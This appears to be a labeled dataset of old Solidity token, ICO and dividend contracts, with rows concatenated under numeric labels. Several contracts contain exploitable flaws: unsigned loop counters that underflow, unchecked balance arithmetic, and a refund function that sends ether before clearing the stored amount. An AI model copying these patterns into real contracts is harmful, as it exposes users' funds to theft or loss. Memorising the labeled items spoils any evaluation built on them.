_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage0[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage1_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage1.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage1[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage2_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage2.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage2[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage3_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage3.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage3[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage4_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage4.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage4[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_token_transfer(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_senders = new address[](n);
_receivers = new address[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_transfer_obj storage obj= history_token_transfer[j];
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_token_transfer_filtered_by_addr(address _addr) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint _max_num_of_items_to_display= 0;
history_token_transfer_obj storage obj= history_token_transfer[0];
uint j;
for (j = len-1 ; j >= 0 ; j--) {
obj= history_token_transfer[j];
if(obj._from== _addr || obj._to== _addr) _max_num_of_items_to_display++;
}
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
_senders = new address[](_max_num_of_items_to_display);
_receivers = new address[](_max_num_of_items_to_display);
_tokens = new uint[](_max_num_of_items_to_display);
_whens = new uint[](_max_num_of_items_to_display);
_num=0;
for (j = len-1 ; j >= 0 && _max_num_of_items_to_display > _num ; j--) {
obj= history_token_transfer[j];
if(obj._from!= _addr && obj._to!= _addr) continue;
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_frozen_accounts(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _frozen_holders,uint[] _whens){
uint len = holders_frozen.length;
uint num_of_frozen_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( account_frozen_time[ holders_frozen[i] ] > 0x0) num_of_frozen_holders++;
if(_max_num_of_items_to_display == num_of_frozen_holders) break;
}
_frozen_holders = new address[](num_of_frozen_holders);
_whens = new uint[](num_of_frozen_holders);
_num=0;
for (uint j = len-1 ; j >= 0 && num_of_frozen_holders > _num ; j--) {
address addr= holders_frozen[j];
uint256 when= account_frozen_time[ addr ];
if( when == 0x0) continue;
_frozen_holders[_num]= addr;
_whens[_num]= when;
_num++;
}
}
function simulate_token_sale(uint _ether_or_wei_value) public view
returns (uint256 _num_of_tokens, uint256 _exch_rate, uint256 _current_sale_stage_index) {
if(sale_stage_index >=5 ) return (0,0,0);
_exch_rate= sale_price_per_stage_wei_per_now[sale_stage_index];
_current_sale_stage_index= sale_stage_index;
if(_ether_or_wei_value>=1000000)
_num_of_tokens= uint256( _ether_or_wei_value / _exch_rate );
else
_num_of_tokens= uint256( _ether_or_wei_value * WEI_PER_ETHER / _exch_rate );
}
function z_admin_next_status(Sale_Status _next_status) onlyAdmin public {
if(_next_status== Sale_Status.Stage0_Sale_Started_STATUS) { start_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage0_Sale_Stopped_STATUS) { stop_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage1_Sale_Started_STATUS) { start_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage1_Sale_Stopped_STATUS) { stop_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage2_Sale_Started_STATUS) { start_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage2_Sale_Stopped_STATUS) { stop_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage3_Sale_Started_STATUS) { start_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage3_Sale_Stopped_STATUS) { stop_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage4_Sale_Started_STATUS) { start_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Stage4_Sale_Stopped_STATUS) { stop_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Public_Allowed_To_Trade_STATUS) { start_Public_Trade(); return;}
if(_next_status== Sale_Status.Stage0_Allowed_To_Trade_STATUS) { start_Stage0_Trade(); return;}
if(_next_status== Sale_Status.Closed_STATUS) { closeContract(); return;}
revert();
}
} | 0 | 1,561 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LiteXToken is StandardToken {
string public name = "LiteXToken";
string public symbol = "LXT";
uint8 public decimals = 18;
uint INITIAL_SUPPLY = 20*10**8;
function LiteXToken() public {
totalSupply_ = INITIAL_SUPPLY*10**uint256(decimals);
balances[msg.sender] = totalSupply_;
}
function() public payable{
revert();
}
} | 1 | 4,225 |
pragma solidity ^0.4.11;
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract ERC20 {
function totalSupply() constant returns (uint supply);
function balanceOf( address who ) constant returns (uint value);
function allowance( address owner, address spender ) constant returns (uint _allowance);
function transfer( address to, uint value) returns (bool ok);
function transferFrom( address from, address to, uint value) returns (bool ok);
function approve( address spender, uint value ) returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
modifier authorized(bytes4 sig) {
assert(isAuthorized(msg.sender, sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
function assert(bool x) internal {
if (!x) revert();
}
}
contract DSExec {
function tryExec( address target, bytes calldata, uint value)
internal
returns (bool call_ret)
{
return target.call.value(value)(calldata);
}
function exec( address target, bytes calldata, uint value)
internal
{
if(!tryExec(target, calldata, value)) {
revert();
}
}
function exec( address t, bytes c )
internal
{
exec(t, c, 0);
}
function exec( address t, uint256 v )
internal
{
bytes memory c; exec(t, c, v);
}
function tryExec( address t, bytes c )
internal
returns (bool)
{
return tryExec(t, c, 0);
}
function tryExec( address t, uint256 v )
internal
returns (bool)
{
bytes memory c; return tryExec(t, c, v);
}
}
contract DSMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSStop is DSAuth, DSNote {
bool public stopped;
modifier stoppable {
assert (!stopped);
_;
}
function stop() auth note {
stopped = true;
}
function start() auth note {
stopped = false;
}
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint256 supply) {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() constant returns (uint256) {
return _supply;
}
function balanceOf(address src) constant returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) constant returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
string public symbol;
uint256 public decimals = 8;
function DSToken(string symbol_) {
symbol = symbol_;
}
function transfer(address dst, uint wad) stoppable note returns (bool) {
return super.transfer(dst, wad);
}
function transferFrom(
address src, address dst, uint wad
) stoppable note returns (bool) {
return super.transferFrom(src, dst, wad);
}
function approve(address guy, uint wad) stoppable note returns (bool) {
return super.approve(guy, wad);
}
function push(address dst, uint128 wad) returns (bool) {
return transfer(dst, wad);
}
function pull(address src, uint128 wad) returns (bool) {
return transferFrom(src, msg.sender, wad);
}
function mint(uint128 wad) auth stoppable note {
_balances[msg.sender] = add(_balances[msg.sender], wad);
_supply = add(_supply, wad);
}
function burn(uint128 wad) auth stoppable note {
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_supply = sub(_supply, wad);
}
string public name = "";
function setName(string name_) auth {
name = name_;
}
}
contract WordCoin is DSToken('Word'){
address public OfferContract;
uint public tokenSellCost;
uint public tokenBuyCost;
bool public isSellable;
uint public secondsAfter;
uint public depositPercents;
address public ICOContract;
address public preICOContract;
struct Deposit {
uint amount;
uint time;
}
mapping (address => uint) public reservedCoins;
mapping (address => Deposit) public deposits;
event LogBounty(address user, uint amount, string message);
event LogEtherBounty(address user, uint amount, string message);
event LogSendReward(address from, address to, string message);
event LogBuyCoins(address user, uint value, string message);
event LogGetEther(address user, uint value, string message);
event LogMakeDeposit(address user, uint value, string message);
event LogGetDeposit(address user, uint value, string message);
function WordCoin(){
}
modifier sellable {
assert(isSellable);
_;
}
modifier onlyOffer {
assert(msg.sender == OfferContract);
_;
}
modifier onlypreICO {
assert(msg.sender == preICOContract);
_;
}
modifier onlyICO {
assert(msg.sender == ICOContract);
_;
}
function setICO(address ICO) auth {
ICOContract = ICO;
}
function setPreICO(address preICO) auth {
preICOContract = preICO;
}
function preICOmint(uint128 wad) onlypreICO {
_balances[msg.sender] = add(_balances[msg.sender], wad);
_supply = add(_supply, wad);
}
function ICOmint(uint128 wad) onlyICO {
_balances[msg.sender] = add(_balances[msg.sender], wad);
_supply = add(_supply, wad);
}
function bounty(address user, uint amount) auth {
assert(_balances[this] >= amount);
_balances[user] += amount;
_balances[this] -= amount;
LogBounty(user, amount, "Sent bounty");
}
function etherBounty(address user, uint amount) auth {
assert(this.balance >= amount);
user.transfer(amount);
LogEtherBounty(user, amount, "Sent ether bounty");
}
function sendReward(address from, address to, uint value) onlyOffer {
reservedCoins[from] -= value;
_balances[to] += value;
LogSendReward(from, to, "Sent reward");
}
function reserveCoins(address from, uint value) onlyOffer {
_balances[from] -= value;
reservedCoins[from] += value;
}
function declineCoins(address from, uint value) onlyOffer {
_balances[from] += value;
reservedCoins[from] -= value;
}
function getEther(uint128 amount) sellable {
assert(tokenSellCost > 0);
assert(div(mul(_balances[msg.sender], 10), 100) >= amount);
super.push(this, amount);
msg.sender.transfer(amount * tokenSellCost);
LogGetEther(msg.sender, amount * tokenSellCost, "Got Ether");
}
function makeDeposit(uint amount) {
assert(_balances[msg.sender] > amount);
assert(deposits[msg.sender].amount == 0);
deposits[msg.sender].amount = amount;
deposits[msg.sender].time = now;
_balances[msg.sender] -= amount;
_balances[this] += amount;
LogMakeDeposit(msg.sender, amount, "Made deposit");
}
function getDeposit() {
assert(deposits[msg.sender].amount != 0);
assert(now > (deposits[msg.sender].time + mul(secondsAfter, 1 seconds)));
assert(_balances[this] > div(mul(deposits[msg.sender].amount, add(100, depositPercents)), 100));
uint amount = div(mul(deposits[msg.sender].amount, add(100, depositPercents)), 100);
deposits[msg.sender].amount = 0;
_balances[msg.sender] += amount;
_balances[this] -= amount;
LogGetDeposit(msg.sender, amount, "Got deposit");
}
function setBuyCourse(uint course) auth {
isSellable = false;
tokenBuyCost = course;
}
function setSellCourse(uint course) auth {
isSellable = false;
tokenSellCost = course;
}
function setSellable(bool sellable) auth {
isSellable = sellable;
}
function setOfferContract(address offerContract) auth {
OfferContract = offerContract;
}
function setSecondsAfter(uint secondsForDeposit) auth {
secondsAfter = secondsForDeposit;
}
function setDepositPercents(uint percents) auth {
depositPercents = percents;
}
function takeEther() payable auth {}
function () payable sellable {
uint amount = div(msg.value, tokenBuyCost);
_balances[this] -= amount;
_balances[msg.sender] += amount;
LogBuyCoins(msg.sender, amount, "Coins bought");
}
}
contract preICO is DSAuth, DSExec, DSMath {
WordCoin public coin;
address public ICO;
address[] investorsArray;
struct Investor {
uint amount;
uint tokenAmount;
bool tokenSent;
bool rewardSent;
bool largeBonusSent;
}
mapping (address => Investor) public investors;
uint public deadline;
uint public start;
uint public countDays;
bool public autoTokenSent;
uint public totalDonations;
uint public totalDonationsWithBonuses;
uint public donationsCount;
uint public ethReward;
uint128 public preICOTokenAmount;
uint128 public preICOTokenRemaining;
uint128 public preICOTokenReward;
uint128 public preICOTokenRewardRemaining;
event LogBounty(address user, uint128 amount, string result);
event LogBounty256(address user, uint amount, string result);
event LogPush(address user, uint128 amount, string result);
event LogTokenSent(address user, bool amount, string result);
modifier afterDeadline() {
assert(now >= deadline);
_;
}
event LogDonation(address user, string message);
event LogTransferOwnership(address user, string message);
event LogSendTokens(address user, uint amount, string message);
event LogSendPOSTokens(address user, uint amount, string message);
function preICO(uint initCountDays){
countDays = initCountDays;
preICOTokenAmount = 200000000000000;
preICOTokenRemaining = 200000000000000;
preICOTokenReward = 20000000000000;
preICOTokenRewardRemaining = 20000000000000;
}
function setCoin(WordCoin initCoin) auth {
assert(preICOTokenAmount > 0);
start = now;
deadline = now + countDays * 1 days;
coin = initCoin;
coin.preICOmint(uint128(add(uint256(preICOTokenReward),uint256(preICOTokenAmount))));
}
function sendTokens() afterDeadline {
assert(!investors[msg.sender].tokenSent);
uint amount = div(mul(investors[msg.sender].amount, preICOTokenAmount), uint256(totalDonationsWithBonuses));
coin.push(msg.sender, uint128(amount));
preICOTokenRemaining -= uint128(amount);
investors[msg.sender].tokenSent = true;
investors[msg.sender].tokenAmount = amount;
LogSendTokens(msg.sender, amount, "Sent tokens");
}
function autoSend() afterDeadline {
LogDonation(msg.sender, "START");
assert(!autoTokenSent);
for (uint i = 0; i < investorsArray.length; i++) {
LogSendTokens(msg.sender, uint256(totalDonationsWithBonuses), "TOTAL");
uint amount = div(mul(investors[investorsArray[i]].amount, preICOTokenAmount), uint256(totalDonationsWithBonuses));
LogSendTokens(msg.sender, amount, "TOTAL");
if (!investors[investorsArray[i]].tokenSent) {
coin.push(investorsArray[i], uint128(amount));
LogSendTokens(msg.sender, amount, "PUSH");
investors[investorsArray[i]].tokenAmount = amount;
investors[investorsArray[i]].tokenSent = true;
}
}
autoTokenSent = true;
}
function setICOContract(address ico) auth{
ICO = ico;
}
function getEthers(uint amount) auth {
assert(amount > 0);
assert(this.balance - amount >= 0);
assert(msg.sender == owner);
owner.transfer(amount);
}
function getLargeBonus() {
assert(investors[msg.sender].amount > 7 ether);
assert(!investors[msg.sender].largeBonusSent);
uint amount = div(mul(investors[msg.sender].tokenAmount,10),100);
coin.push(msg.sender, uint128(amount));
preICOTokenRewardRemaining -= uint128(amount);
investors[msg.sender].largeBonusSent = true;
LogSendTokens(msg.sender, amount, "Sent tokens for 7 Eth donate");
}
function sendICOTokensBack(uint128 amount) afterDeadline auth{
assert(coin.balanceOf(this) > amount);
coin.push(msg.sender, amount);
}
function part( address who ) public constant returns (uint part) {
part = div(mul(investors[who].amount, 1000000), totalDonationsWithBonuses);
}
function rewardWasSent (address who) public constant returns (bool wasSent) {
wasSent = investors[who].rewardSent;
}
function setRewardWasSent (address who) {
assert(msg.sender == ICO);
investors[who].rewardSent = true;
}
function () payable {
assert(now <= deadline);
assert(msg.sender != address(0));
assert(msg.value != 0);
assert(preICOTokenRemaining > 0);
uint percents = 0;
if (sub(now,start) < 24 hours) {
percents = sub(24, div(sub(now,start), 1 hours));
}
uint extraDonation = div(msg.value, 100) * percents;
investors[msg.sender].tokenSent = false;
totalDonationsWithBonuses += add(msg.value, extraDonation);
totalDonations += msg.value;
investors[msg.sender].amount += add(msg.value, extraDonation);
donationsCount++;
investorsArray.push(msg.sender);
LogDonation(msg.sender, "Donation was made");
}
}
contract ICO is DSAuth, DSExec, DSMath {
uint128 public ICOAmount;
uint128 public ICOReward;
address[] investorsArray;
struct preICOInvestor {
uint amount;
bool tokenSent;
bool rewardSent;
bool largeBonusSent;
}
mapping (address => preICOInvestor) public investors;
preICO public preico;
WordCoin public coin;
bool public canGiveMoneyBack;
bool public rewardSent;
uint public cost;
uint public tokenCost;
bool public isICOStopped;
uint public totalDonations;
uint public totalDonationsWithBonuses;
modifier allowGetMoneyBack() {
assert(canGiveMoneyBack);
_;
}
modifier ICOStopped() {
assert(isICOStopped);
_;
}
event LogSetPreICO(preICO preicoAddress, string message);
event LogStartWeek(string message);
event LogGetMoneyBack(address user, uint value, string message);
event LogMoneyToPreICO(address user, uint value, string message);
event LogBuyTokens(address user, uint value, string message);
event LogSendPOSTokens(address user, uint value, string message);
event LogTransferOwnership(address user, string message);
event Log1(uint128 la, string message);
event Log2(bool la, string message);
function ICO(){
ICOAmount = 500000000000000;
ICOReward = 10000000000000;
}
function setPreICO(preICO initPreICO) auth {
assert(initPreICO != address(0));
preico = initPreICO;
}
function getEthers(uint amount) auth {
assert(amount > 0);
assert(this.balance - amount >= 0);
assert(msg.sender == owner);
owner.transfer(amount);
}
function startWeekOne() auth {
assert(preico != address(0));
tokenCost = div(preico.totalDonations(), preico.preICOTokenAmount());
cost = 100;
LogStartWeek("First week started");
}
function startWeekTwo() auth {
cost = 105;
LogStartWeek("Second week started");
}
function startWeekThree() auth {
cost = 110;
LogStartWeek("Third week started");
}
function startWeekFour() auth {
cost = 115;
LogStartWeek("Fourth week started");
}
function startWeekFive() auth {
cost = 120;
LogStartWeek("Last week started");
}
function setCanGetMoneyBack(bool value) auth {
canGiveMoneyBack = value;
}
function setTokenCost(uint newTokenCost) auth {
assert(newTokenCost > 0);
tokenCost = newTokenCost;
}
function getMoneyBack() allowGetMoneyBack {
assert(investors[msg.sender].amount > 0);
msg.sender.transfer(investors[msg.sender].amount);
investors[msg.sender].amount = 0;
LogGetMoneyBack(msg.sender, investors[msg.sender].amount, "Money returned");
}
function setCoin(WordCoin initCoin) auth {
assert(ICOAmount > 0);
coin = initCoin;
coin.ICOmint(uint128(add(uint256(ICOAmount),uint256(ICOReward))));
}
function sendPOSTokens() ICOStopped {
assert(!investors[msg.sender].rewardSent);
assert(investors[msg.sender].amount > 0);
assert(ICOReward > 0);
uint amount = div(mul(investors[msg.sender].amount, ICOReward), uint256(totalDonations));
investors[msg.sender].rewardSent = true;
coin.push(msg.sender, uint128(amount));
ICOReward -= uint128(amount);
LogSendPOSTokens(msg.sender, amount, "Sent prize tokens");
}
function sendEthForReward() ICOStopped {
assert(!preico.rewardWasSent(msg.sender));
uint amount = div(mul(totalDonations, 3), 100);
uint ethAmountForReward = div(mul(amount,preico.part(msg.sender)), 1000000);
preico.setRewardWasSent(msg.sender);
msg.sender.transfer(ethAmountForReward);
}
function sendICOTokensBack(uint128 amount) ICOStopped auth{
assert(coin.balanceOf(this) > amount);
coin.push(msg.sender, amount);
}
function setBigICOStopped(bool stop) auth{
isICOStopped = stop;
}
function() payable {
assert(msg.sender != address(0));
assert(msg.value != 0);
assert(cost > 0);
assert(tokenCost > 0);
assert(ICOAmount > 0);
assert(!isICOStopped);
investors[msg.sender].amount += msg.value;
totalDonations += msg.value;
uint amount = div(msg.value, div(mul(tokenCost, cost), 100));
if (msg.value > 7 ether) {
amount = div(mul(amount, 110),100);
}
coin.push(msg.sender, uint128(amount));
ICOAmount -= uint128(amount);
investorsArray.push(msg.sender);
LogBuyTokens(msg.sender, amount, "Tokens bought");
}
} | 1 | 3,985 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return a / b;
}
function mod(uint a, uint b) internal pure returns (uint) {
return a % b;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Dividends {
using SafeMath for *;
uint private constant FIXED_POINT = 1000000000000000000;
struct Scheme {
uint value;
uint shares;
uint mask;
}
struct Vault {
uint value;
uint shares;
uint mask;
}
mapping (uint => mapping (address => Vault)) private vaultOfAddress;
mapping (uint => Scheme) private schemeOfId;
function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal {
require(_owner != address(0));
require(_shares > 0 && _value > 0);
uint value = _value.mul(FIXED_POINT);
Scheme storage scheme = schemeOfId[_schemeId];
scheme.value = scheme.value.add(_value);
scheme.shares = scheme.shares.add(_shares);
require(value > scheme.shares);
uint pps = value.div(scheme.shares);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.shares = vault.shares.add(_shares);
vault.mask = vault.mask.add(scheme.mask.mul(_shares));
vault.value = vault.value.add(value.sub(pps.mul(scheme.shares)));
